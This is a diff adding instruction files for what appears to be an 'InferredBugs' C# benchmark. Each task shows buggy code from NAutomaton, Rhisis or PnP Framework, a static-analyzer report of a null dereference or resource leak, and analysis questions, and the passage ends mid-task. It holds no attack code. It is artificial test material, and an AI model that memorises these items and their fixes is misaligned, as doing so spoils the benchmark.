+                        newstate.Add(p, new State());
+                    }
+                    State q = newstate[p];
+                    char min = points[n];
+                    char max;
+                    if (n + 1 < points.Length)
+                    {
+                        max = (char) (points[n + 1] - 1);
+                    }
+                    else
+                    {
+                        max = Char.MaxValue;
+                    }
+                    r.Transitions.Add(new Transition(min, max, q));
+                }
+            }
+            a.IsDeterministic = true;
+            a.RemoveDeadTransitions();
+        }
+
+        public static void AddEpsilons(Automaton a, ICollection<StatePair> pairs)
+        {
+            a.ExpandSingleton();
+            var forward = new Dictionary<State, HashSet<State>>();
+            var back = new Dictionary<State, HashSet<State>>();
+            foreach (StatePair p in pairs)
+            {
+                HashSet<State> to = forward[p.S1];
+                if (to == null)
+                {
+                    to = new HashSet<State>();
+                    forward.Add(p.S1, to);
+                }
+                to.Add(p.S2);
+                HashSet<State> from = back[p.S2];
+                if (from == null)
+                {
+                    from = new HashSet<State>();
+                    back.Add(p.S2, from);
+                }
+                from.Add(p.S1);
+            }
+
+            var worklist = new LinkedList<StatePair>(pairs);
+            var workset = new HashSet<StatePair>(pairs);
+            while (worklist.Count != 0)
+            {
+                StatePair p = worklist.RemoveAndReturnFirst();
+                workset.Remove(p);
+                HashSet<State> to = forward[p.S2];
+                HashSet<State> from = back[p.S1];
+                if (to != null)
+                {
+                    foreach (State s in to)
+                    {
+                        var pp = new StatePair(p.S1, s);
+                        if (!pairs.Contains(pp))
+                        {
+                            pairs.Add(pp);
+                            forward[p.S1].Add(s);
+                            back[s].Add(p.S1);
+                            worklist.AddLast(pp);
+                            workset.Add(pp);
+                            if (from != null)
+                            {
+                                foreach (State q in from)
+                                {
+                                    var qq = new StatePair(q, p.S1);
+                                    if (!workset.Contains(qq))
+                                    {
+                                        worklist.AddLast(qq);
+                                        workset.Add(qq);
+                                    }
+                                }
+                            }
+                        }
+                    }
+                }
+            }
+            // Add transitions.
+            foreach (StatePair p in pairs)
+            {
+                p.S1.AddEpsilon(p.S2);
+            }
+            a.IsDeterministic = false;
+            a.ClearHashCode();
+            a.CheckMinimizeAlways();
+        }
+
+        public static bool IsEmptyString(Automaton a)
+        {
+            if (a.IsSingleton)
+            {
+                return a.Singleton.Length == 0;
+            }
+
+            return a.InitialState.Accept && a.InitialState.Transitions.Count == 0;
+        }
+
+        public static bool IsEmpty(Automaton a)
+        {
+            if (a.IsSingleton)
+            {
+                return false;
+            }
+            return !a.InitialState.Accept && a.InitialState.Transitions.Count == 0;
+        }
+
+        public static bool IsTotal(Automaton a)
+        {
+            if (a.IsSingleton)
+            {
+                return false;
+            }
+            if (a.InitialState.Accept && a.InitialState.Transitions.Count == 1)
+            {
+                // Original code (Java): Transition t = a.initial.transitions.iterator().next();
+                HashSet<Transition>.Enumerator enumerator = a.InitialState.Transitions.GetEnumerator();
+                enumerator.MoveNext();
+                Transition t = enumerator.Current;
+
+                return t.To == a.InitialState && t.Min == Char.MinValue && t.Max == Char.MaxValue;
+            }
+            return false;
+        }
+
+        public static string GetShortestExample(Automaton a, bool accepted)
+        {
+            if (a.IsSingleton)
+            {
+                if (accepted)
+                {
+                    return a.Singleton;
+                }
+
+                if (a.Singleton.Length > 0)
+                {
+                    return "";
+                }
+
+                return "\u0000";
+            }
+            return GetShortestExample(a.InitialState, accepted);
+        }
+
+        public static string GetShortestExample(State s, bool accepted)
+        {
+            IDictionary<State, string> path = new Dictionary<State, string>();
+            var queue = new LinkedList<State>();
+            path.Add(s, "");
+            queue.AddLast(s);
+            string best = null;
+            while (queue.Count != 0)
+            {
+                State q = queue.RemoveAndReturnFirst();
+                string p = path[q];
+                if (q.Accept == accepted)
+                {
+                    if (best == null || p.Length < best.Length || (p.Length == best.Length && p.CompareTo(best) < 0))
+                    {
+                        best = p;
+                    }
+                }
+                else
+                {
+                    foreach (Transition t in q.Transitions)
+                    {
+                        string tp = path[t.To];
+                        string np = p + t.Min;
+                        if (tp == null || (tp.Length == np.Length && np.CompareTo(tp) < 0))
+                        {
+                            if (tp == null)
+                            {
+                                queue.AddLast(t.To);
+                            }
+                            path.Add(t.To, np);
+                        }
+                    }
+                }
+            }
+            return best;
+        }
+
+        public static bool Run(Automaton a, string s)
+        {
+            if (a.IsSingleton)
+            {
+                return s.Equals(a.IsSingleton);
+            }
+            if (a.IsDeterministic)
+            {
+                State p = a.InitialState;
+                foreach (char t in s)
+                {
+                    State q = p.Step(t);
+                    if (q == null)
+                    {
+                        return false;
+                    }
+                    p = q;
+                }
+                return p.Accept;
+            }
+
+            HashSet<State> states = a.States;
+            Automaton.StateNumbers = states;
+            var pp = new LinkedList<State>();
+            var ppOther = new LinkedList<State>();
+            var bb = new BitArray(states.Count);
+            var bbOther = new BitArray(states.Count);
+            pp.AddLast(a.InitialState);
+            var dest = new List<State>();
+            bool accept = a.InitialState.Accept;
+
+            foreach (char c in s)
+            {
+                accept = false;
+                ppOther.Clear();
+                bbOther.SetAll(false);
+                foreach (State p in pp)
+                {
+                    dest.Clear();
+                    p.Step(c, dest);
+                    foreach (State q in dest)
+                    {
+                        if (q.Accept)
+                        {
+                            accept = true;
+                        }
+                        if (!bbOther.Get(q.Number))
+                        {
+                            bbOther.Set(q.Number, true);
+                            ppOther.AddLast(q);
+                        }
+                    }
+                }
+                LinkedList<State> tp = pp;
+                pp = ppOther;
+                ppOther = tp;
+                BitArray tb = bb;
+                bb = bbOther;
+                bbOther = tb;
+            }
+            return accept;
+        }
+    }
+}
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+`a->NAutomaton.Automaton.singleton` could be null (from the call to `Automaton.get_InitialState()` on line 607) and is dereferenced in call to `Automaton.get_InitialState()`.
+
+### Severity:
+ERROR
+
+### Procedure:
+Boolean BasicOperations.IsEmptyString(Automaton)
+
+### File:
+Src/NAutomaton/BasicOperations.cs
+
+### Key:
+BasicOperations.cs|IsEmptyString|NULLPTR_DEREFERENCE
+
+### Hash:
+03b5e9d7c27fd1475c1c4eabd71fbf59
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0131/instruction.md b/inferredbugs-0131/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..0737a91e2412eba9d2187e316af6ed18e6ee5e61
--- /dev/null
+++ b/inferredbugs-0131/instruction.md
@@ -0,0 +1,141 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** Rhisis
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Rhisis.Core.Structures;
+using System;
+using System.IO;
+
+namespace Rhisis.Core.Resources
+{
+    /// <summary>
+    /// FlyFF World File structure.
+    /// </summary>
+    public class WldFile : FileStream, IDisposable
+    {
+        public WldFileInformations WorldInformations { get; private set; }
+
+        /// <summary>
+        /// Creates a new <see cref="WldFile"/> instance.
+        /// </summary>
+        /// <param name="filePath">Wld file data</param>
+        public WldFile(string filePath)
+            : base(filePath, FileMode.Open, FileAccess.Read)
+        {
+            this.Read();
+        }
+
+        /// <summary>
+        /// Reads the content of the Wld file.
+        /// </summary>
+        private void Read()
+        {
+            var reader = new StreamReader(this);
+            Vector3 size = null;
+            bool isIndoor = false;
+            bool canFly = false;
+            int mpu = 0;
+            int revivalMapId = 0;
+            string revivalKey = string.Empty;
+
+            while (!reader.EndOfStream)
+            {
+                var line = reader.ReadLine().Trim().ToLower();
+
+                if (line.StartsWith("//") || string.IsNullOrEmpty(line))
+                    continue;
+
+                string[] lineArray = line.Split(new char[] { ' ', '\t' }, StringSplitOptions.RemoveEmptyEntries);
+
+                switch (lineArray[0].ToLower())
+                {
+                    case "size":
+                        size = this.ReadSize(lineArray);
+                        break;
+                    case "indoor":
+                        isIndoor = lineArray[1] == "1" ? true : false;
+                        break;
+                    case "fly":
+                        canFly = lineArray[1] == "1" ? true : false;
+                        break;
+                    case "mpu":
+                        mpu = int.Parse(lineArray[1]);
+                        break;
+                    case "revival":
+                        revivalMapId = int.Parse(lineArray[1]);
+                        revivalKey = lineArray[2].Trim('"');
+                        break;
+                }
+            }
+
+            this.WorldInformations = new WldFileInformations((int)size.X, (int)size.Z, mpu, isIndoor, canFly, revivalMapId, revivalKey);
+        }
+
+        /// <summary>
+        /// Read the "size" field of the wld file.
+        /// </summary>
+        /// <param name="lineArray">Current line array</param>
+        private Vector3 ReadSize(string[] lineArray)
+        {
+            string width = lineArray[1].Replace(",", string.Empty);
+            string length = lineArray[2];
+
+            return new Vector3(int.Parse(width), 0, int.Parse(length));
+        }
+    }
+}
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+`size` could be null (last assigned on line 30) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+Void WldFile.Read()
+
+### File:
+src/Rhisis.Core/Resources/Wld/WldFile.cs
+
+### Key:
+WldFile.cs|Read|NULLPTR_DEREFERENCE
+
+### Hash:
+1c02f21e9c65b381c4d00fa9db6f752e
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0136/instruction.md b/inferredbugs-0136/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f5f9b1876e0d4e5962a5facfcea4ae80a2acae76
--- /dev/null
+++ b/inferredbugs-0136/instruction.md
@@ -0,0 +1,207 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** pnpframework
+**Bug ID:** 1
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.SharePoint.Client;
+using PnP.Core.Services;
+using PnP.Framework.Utilities.PnPSdk;
+using System;
+using System.Threading;
+using System.Runtime.CompilerServices;
+using System.Collections.Concurrent;
+
+[assembly: InternalsVisibleTo("PnPFramework.Test")]
+namespace PnP.Framework
+{
+    /// <summary>
+    /// Class that implements interop between PnP Framework and PnP Core SDK
+    /// </summary>
+    public class PnPCoreSdk
+    {
+
+        private static readonly Lazy<PnPCoreSdk> _lazyInstance = new Lazy<PnPCoreSdk>(() => new PnPCoreSdk(), true);
+        private IPnPContextFactory pnpContextFactoryCache;
+        private ConcurrentDictionary<string,PnPContext> pnpContextCached = new ConcurrentDictionary<string, PnPContext>();
+        private static readonly SemaphoreSlim semaphoreSlimFactory = new SemaphoreSlim(1);
+        internal static ILegacyAuthenticationProviderFactory AuthenticationProviderFactory { get; set; } = new PnPCoreSdkAuthenticationProviderFactory();
+        internal static event EventHandler<IServiceCollection> OnDIContainerBuilding;
+
+        /// <summary>
+        /// Provides the singleton instance of th entity manager
+        /// </summary>
+        public static PnPCoreSdk Instance
+        {
+            get
+            {
+                return _lazyInstance.Value;
+            }
+        }
+
+        /// <summary>
+        /// Private constructor since this is a singleton
+        /// </summary>
+        private PnPCoreSdk()
+        {
+        }
+
+        /// <summary>
+        /// Get's a PnPContext from a CSOM ClientContext
+        /// </summary>
+        /// <param name="context">CSOM ClientContext</param>
+        /// <returns>The equivalent PnPContext</returns>
+        public PnPContext GetPnPContext(ClientContext context)
+        {
+            Uri ctxUri = new Uri(context.Url);
+            var ctxSettings = context.GetContextSettings();
+
+            PnPContext cachedContext;
+            if (pnpContextCached.TryGetValue(ctxUri.Authority.ToLower(), out cachedContext))
+            {
+                if (cachedContext.Uri == ctxUri)
+                {
+                    return cachedContext;
+                }
+                else
+                {
+                    return cachedContext.Clone(ctxUri);
+                }
+            }
+            else
+            {
+                var factory = BuildContextFactory();
+                return factory.Create(ctxUri, AuthenticationProviderFactory.GetAuthenticationProvider(context));
+            }
+        }
+
+        private IPnPContextFactory BuildContextFactory()
+        {
+            try
+            {
+                // Ensure there's only one context factory building happening at any given time
+                semaphoreSlimFactory.Wait();
+
+                // Return the factory from cache if we already have one
+                if (pnpContextFactoryCache != null)
+                {
+                    return pnpContextFactoryCache;
+                }
+
+                // Build the service collection and load PnP Core SDK
+                IServiceCollection services = new ServiceCollection();
+
+                // To increase coverage of solutions providing tokens without graph scopes we turn of graphfirst for PnPContext created from PnP Framework                
+                services = services.AddPnPCore(options =>
+                {
+                    options.PnPContext.GraphFirst = false;
+                }).Services;
+
+                // Enables to plug in additional services into this service container
+                if(OnDIContainerBuilding != null)
+                {
+                    OnDIContainerBuilding.Invoke(this, services);
+                }
+
+                var serviceProvider = services.BuildServiceProvider();
+                
+                // Get a PnP context factory
+                var pnpContextFactory = serviceProvider.GetRequiredService<IPnPContextFactory>();
+
+                // Chache the factory before returning it
+                if (pnpContextFactoryCache == null)
+                {
+                    pnpContextFactoryCache = pnpContextFactory;
+                }
+
+                return pnpContextFactory;
+            }
+            finally
+            {
+                semaphoreSlimFactory.Release();
+            }
+
+        }
+
+        /// <summary>
+        /// Returns a CSOM ClientContext for a given PnP Core SDK context
+        /// </summary>
+        /// <param name="pnpContext">The PnP Core SDK context</param>
+        /// <returns>The equivalent CSOM ClientContext</returns>
+        public ClientContext GetClientContext(PnPContext pnpContext)
+        {
+            //shloud do only for AppOnly Context
+            if (!pnpContextCached.ContainsKey(pnpContext.Uri.Authority.ToLower()))
+            {
+                pnpContextCached.TryAdd(pnpContext.Uri.Authority.ToLower(),pnpContext);
+            }
+#pragma warning disable CA2000 // Dispose objects before losing scope
+            AuthenticationManager authManager = AuthenticationManager.CreateWithPnPCoreSdk(pnpContext.AuthenticationProvider);
+#pragma warning restore CA2000 // Dispose objects before losing scope
+
+            var ctx = authManager.GetContext(pnpContext.Uri.ToString());
+            var ctxSettings = ctx.GetContextSettings();
+            ctxSettings.AuthenticationManager = authManager; //otherwise GetAccessToken would not work for example
+            ctx.AddContextSettings(ctxSettings);
+            return ctx;
+        }
+
+    }
+}
+
+```
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+pointer `ctxSettings` last assigned on line 138 could be null and is dereferenced at line 139, column 13.
+
+### Severity:
+ERROR
+
+### Procedure:
+ClientContext PnPCoreSdk.GetClientContext(PnPContext)
+
+### File:
+src/lib/PnP.Framework/PnPCoreSdk.cs
+
+### Key:
+PnPCoreSdk.cs|GetClientContext|NULL_DEREFERENCE
+
+### Node Key:
+5f12004af86bc692e0983547f0c7b710
+
+### Hash:
+07e25cda3d7ee86ec286221a808c7465
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0137/instruction.md b/inferredbugs-0137/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..87fa350b778b28cc643024729f5ffa8d1ad1384d
--- /dev/null
+++ b/inferredbugs-0137/instruction.md
@@ -0,0 +1,199 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** pnpframework
+**Bug ID:** 4
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.SharePoint.Client;
+using PnP.Core.Services;
+using PnP.Framework.Utilities.PnPSdk;
+using System;
+using System.Threading;
+
+namespace PnP.Framework
+{
+    /// <summary>
+    /// Class that implements interop between PnP Framework and PnP Core SDK
+    /// </summary>
+    public class PnPCoreSdk
+    {
+
+        private static readonly Lazy<PnPCoreSdk> _lazyInstance = new Lazy<PnPCoreSdk>(() => new PnPCoreSdk(), true);
+        private IPnPContextFactory pnpContextFactoryCache;
+        private static readonly SemaphoreSlim semaphoreSlimFactory = new SemaphoreSlim(1);
+        internal static ILegacyAuthenticationProviderFactory AuthenticationProviderFactory { get; set; } = new PnPCoreSdkAuthenticationProviderFactory();
+        internal static event EventHandler<IServiceCollection> OnDIContainerBuilding;
+
+        /// <summary>
+        /// Provides the singleton instance of th entity manager
+        /// </summary>
+        public static PnPCoreSdk Instance
+        {
+            get
+            {
+                return _lazyInstance.Value;
+            }
+        }
+
+        /// <summary>
+        /// Private constructor since this is a singleton
+        /// </summary>
+        private PnPCoreSdk()
+        {
+        }
+
+        /// <summary>
+        /// Get's a PnPContext from a CSOM ClientContext
+        /// </summary>
+        /// <param name="context">CSOM ClientContext</param>
+        /// <returns>The equivalent PnPContext</returns>
+        public PnPContext GetPnPContext(ClientContext context)
+        {
+            Uri ctxUri = new Uri(context.Url);
+           
+            var ctxSettings = context.GetContextSettings();
+            
+            if (ctxSettings!=null && ctxSettings.Type == Utilities.Context.ClientContextType.PnPCoreSdk && ctxSettings.AuthenticationManager!=null)
+            {
+                var pnpContext = ctxSettings.AuthenticationManager.PnPCoreContext;
+                if (pnpContext != null)
+                {
+                    return pnpContext;
+                }
+                else
+                {
+                    var iAuthProvider = ctxSettings.AuthenticationManager.PnPCoreAuthenticationProvider;
+                    if (iAuthProvider != null)
+                    {
+                        var factory0 = BuildContextFactory();
+                        return factory0.Create(ctxUri, iAuthProvider);
+                    }
+                }
+            }
+            var factory = BuildContextFactory();
+            return factory.Create(ctxUri, AuthenticationProviderFactory.GetAuthenticationProvider(context));
+        }
+
+        private IPnPContextFactory BuildContextFactory()
+        {
+            try
+            {
+                // Ensure there's only one context factory building happening at any given time
+                semaphoreSlimFactory.Wait();
+
+                // Return the factory from cache if we already have one
+                if (pnpContextFactoryCache != null)
+                {
+                    return pnpContextFactoryCache;
+                }
+
+                // Build the service collection and load PnP Core SDK
+                IServiceCollection services = new ServiceCollection();
+
+                // To increase coverage of solutions providing tokens without graph scopes we turn of graphfirst for PnPContext created from PnP Framework                
+                services = services.AddPnPCore(options =>
+                {
+                    options.PnPContext.GraphFirst = false;
+                }).Services;
+
+                // Enables to plug in additional services into this service container
+                if(OnDIContainerBuilding != null)
+                {
+                    OnDIContainerBuilding.Invoke(this, services);
+                }
+
+                var serviceProvider = services.BuildServiceProvider();
+                
+                // Get a PnP context factory
+                var pnpContextFactory = serviceProvider.GetRequiredService<IPnPContextFactory>();
+
+                // Chache the factory before returning it
+                if (pnpContextFactoryCache == null)
+                {
+                    pnpContextFactoryCache = pnpContextFactory;
+                }
+
+                return pnpContextFactory;
+            }
+            finally
+            {
+                semaphoreSlimFactory.Release();
+            }
+
+        }
+
+        /// <summary>
+        /// Returns a CSOM ClientContext for a given PnP Core SDK context
+        /// </summary>
+        /// <param name="pnpContext">The PnP Core SDK context</param>
+        /// <returns>The equivalent CSOM ClientContext</returns>
+        public ClientContext GetClientContext(PnPContext pnpContext)
+        {
+#pragma warning disable CA2000 // Dispose objects before losing scope
+            AuthenticationManager authManager = AuthenticationManager.CreateWithPnPCoreSdk(pnpContext);
+#pragma warning restore CA2000 // Dispose objects before losing scope
+
+            var ctx = authManager.GetContext(pnpContext.Uri.ToString());
+            var ctxSettings = ctx.GetContextSettings();
+            ctxSettings.Type = Utilities.Context.ClientContextType.PnPCoreSdk;
+            ctxSettings.AuthenticationManager = authManager; //otherwise GetAccessToken would not work for example
+            ctx.AddContextSettings(ctxSettings);
+            return ctx;
+        }
+
+    }
+}
+
+```
+
+### Bug Type:
+DOTNET_RESOURCE_LEAK
+
+### Qualifier:
+Leaked resource authManager of type PnP.Framework.AuthenticationManager in method "ClientContext PnPCoreSdk.GetClientContext(PnPContext)".
+
+### Severity:
+ERROR
+
+### Procedure:
+ClientContext PnPCoreSdk.GetClientContext(PnPContext)
+
+### File:
+src/lib/PnP.Framework/PnPCoreSdk.cs
+
+### Key:
+PnPCoreSdk.cs|GetClientContext|DOTNET_RESOURCE_LEAK
+
+### Hash:
+f3d511500f5cf7f282b38813b59da9d9
+
+### Bug Type Hum:
+Dotnet Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0138/instruction.md b/inferredbugs-0138/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..2294822f926ff54c87d6395a072e433a448147d1
--- /dev/null
+++ b/inferredbugs-0138/instruction.md
@@ -0,0 +1,199 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** pnpframework
+**Bug ID:** 3
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.SharePoint.Client;
+using PnP.Core.Services;
+using PnP.Framework.Utilities.PnPSdk;
+using System;
+using System.Threading;
+
+namespace PnP.Framework
+{
+    /// <summary>
+    /// Class that implements interop between PnP Framework and PnP Core SDK
+    /// </summary>
+    public class PnPCoreSdk
+    {
+
+        private static readonly Lazy<PnPCoreSdk> _lazyInstance = new Lazy<PnPCoreSdk>(() => new PnPCoreSdk(), true);
+        private IPnPContextFactory pnpContextFactoryCache;
+        private static readonly SemaphoreSlim semaphoreSlimFactory = new SemaphoreSlim(1);
+        internal static ILegacyAuthenticationProviderFactory AuthenticationProviderFactory { get; set; } = new PnPCoreSdkAuthenticationProviderFactory();
+        internal static event EventHandler<IServiceCollection> OnDIContainerBuilding;
+
+        /// <summary>
+        /// Provides the singleton instance of th entity manager
+        /// </summary>
+        public static PnPCoreSdk Instance
+        {
+            get
+            {
+                return _lazyInstance.Value;
+            }
+        }
+
+        /// <summary>
+        /// Private constructor since this is a singleton
+        /// </summary>
+        private PnPCoreSdk()
+        {
+        }
+
+        /// <summary>
+        /// Get's a PnPContext from a CSOM ClientContext
+        /// </summary>
+        /// <param name="context">CSOM ClientContext</param>
+        /// <returns>The equivalent PnPContext</returns>
+        public PnPContext GetPnPContext(ClientContext context)
+        {
+            Uri ctxUri = new Uri(context.Url);
+           
+            var ctxSettings = context.GetContextSettings();
+            
+            if (ctxSettings!=null && ctxSettings.Type == Utilities.Context.ClientContextType.PnPCoreSdk && ctxSettings.AuthenticationManager!=null)
+            {
+                var pnpContext = ctxSettings.AuthenticationManager.PnPCoreContext;
+                if (pnpContext != null)
+                {
+                    return pnpContext;
+                }
+                else
+                {
+                    var iAuthProvider = ctxSettings.AuthenticationManager.PnPCoreAuthenticationProvider;
+                    if (iAuthProvider != null)
+                    {
+                        var factory0 = BuildContextFactory();
+                        return factory0.Create(ctxUri, iAuthProvider);
+                    }
+                }
+            }
+            var factory = BuildContextFactory();
+            return factory.Create(ctxUri, AuthenticationProviderFactory.GetAuthenticationProvider(context));
+        }
+
+        private IPnPContextFactory BuildContextFactory()
+        {
+            try
+            {
+                // Ensure there's only one context factory building happening at any given time
+                semaphoreSlimFactory.Wait();
+
+                // Return the factory from cache if we already have one
+                if (pnpContextFactoryCache != null)
+                {
+                    return pnpContextFactoryCache;
+                }
+
+                // Build the service collection and load PnP Core SDK
+                IServiceCollection services = new ServiceCollection();
+
+                // To increase coverage of solutions providing tokens without graph scopes we turn of graphfirst for PnPContext created from PnP Framework                
+                services = services.AddPnPCore(options =>
+                {
+                    options.PnPContext.GraphFirst = false;
+                }).Services;
+
+                // Enables to plug in additional services into this service container
+                if(OnDIContainerBuilding != null)
+                {
+                    OnDIContainerBuilding.Invoke(this, services);
+                }
+
+                var serviceProvider = services.BuildServiceProvider();
+                
+                // Get a PnP context factory
+                var pnpContextFactory = serviceProvider.GetRequiredService<IPnPContextFactory>();
+
+                // Chache the factory before returning it
+                if (pnpContextFactoryCache == null)
+                {
+                    pnpContextFactoryCache = pnpContextFactory;
+                }
+
+                return pnpContextFactory;
+            }
+            finally
+            {
+                semaphoreSlimFactory.Release();
+            }
+
+        }
+
+        /// <summary>
+        /// Returns a CSOM ClientContext for a given PnP Core SDK context
+        /// </summary>
+        /// <param name="pnpContext">The PnP Core SDK context</param>
+        /// <returns>The equivalent CSOM ClientContext</returns>
+        public ClientContext GetClientContext(PnPContext pnpContext)
+        {
+#pragma warning disable CA2000 // Dispose objects before losing scope
+            AuthenticationManager authManager = AuthenticationManager.CreateWithPnPCoreSdk(pnpContext);
+#pragma warning restore CA2000 // Dispose objects before losing scope
+
+            var ctx = authManager.GetContext(pnpContext.Uri.ToString());
+            var ctxSettings = ctx.GetContextSettings();
+            ctxSettings.Type = Utilities.Context.ClientContextType.PnPCoreSdk;
+            ctxSettings.AuthenticationManager = authManager; //otherwise GetAccessToken would not work for example
+            ctx.AddContextSettings(ctxSettings);
+            return ctx;
+        }
+
+    }
+}
+
+```
+
+### Bug Type:
+NULLPTR_DEREFERENCE
+
+### Qualifier:
+`ctxSettings` could be null (from the call to `InternalClientContextExtensions.GetContextSettings(...)` on line 132) and is dereferenced.
+
+### Severity:
+ERROR
+
+### Procedure:
+ClientContext PnPCoreSdk.GetClientContext(PnPContext)
+
+### File:
+src/lib/PnP.Framework/PnPCoreSdk.cs
+
+### Key:
+PnPCoreSdk.cs|GetClientContext|NULLPTR_DEREFERENCE
+
+### Hash:
+959e9729725b08fc9a97a1f358a56ffb
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-0139/instruction.md b/inferredbugs-0139/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..f6fc915386d6396aa4a994bca831dda0c75ae7e4
--- /dev/null
+++ b/inferredbugs-0139/instruction.md
@@ -0,0 +1,192 @@
+# InferredBugs Task - Csharp
+
+## Project Information
+
+**Project:** pnpframework
+**Bug ID:** 2
+**Language:** csharp
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```csharp
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.SharePoint.Client;
+using PnP.Core.Services;
+using PnP.Framework.Utilities.PnPSdk;
+using System;
+using System.Threading;
+using System.Runtime.CompilerServices;
+
+[assembly: InternalsVisibleTo("PnPFramework.Test")]
+namespace PnP.Framework
+{
+    /// <summary>
+    /// Class that implements interop between PnP Framework and PnP Core SDK
+    /// </summary>
+    public class PnPCoreSdk
+    {
+
+        private static readonly Lazy<PnPCoreSdk> _lazyInstance = new Lazy<PnPCoreSdk>(() => new PnPCoreSdk(), true);
+        private IPnPContextFactory pnpContextFactoryCache;
+        private static readonly SemaphoreSlim semaphoreSlimFactory = new SemaphoreSlim(1);
+        internal static ILegacyAuthenticationProviderFactory AuthenticationProviderFactory { get; set; } = new PnPCoreSdkAuthenticationProviderFactory();
+        internal static event EventHandler<IServiceCollection> OnDIContainerBuilding;
+
+        /// <summary>
+        /// Provides the singleton instance of th entity manager
+        /// </summary>
+        public static PnPCoreSdk Instance
+        {
+            get
+            {
+                return _lazyInstance.Value;
+            }
+        }
+
+        /// <summary>
+        /// Private constructor since this is a singleton
+        /// </summary>
+        private PnPCoreSdk()
+        {
+        }
+
+        /// <summary>
+        /// Get's a PnPContext from a CSOM ClientContext
+        /// </summary>
+        /// <param name="context">CSOM ClientContext</param>
+        /// <returns>The equivalent PnPContext</returns>
+        public PnPContext GetPnPContext(ClientContext context)
+        {
+            Uri ctxUri = new Uri(context.Url);
+            var factory = BuildContextFactory();
+            var ctxSettings = context.GetContextSettings();
+            if(ctxSettings!=null && ctxSettings.AuthenticationManager!=null)
+            {
+                var iAuthProvider = ctxSettings.AuthenticationManager.PnPCoreAuthenticationProvider;
+                if(iAuthProvider!=null)
+                {
+                    return factory.Create(ctxUri, iAuthProvider);
+                }
+            }
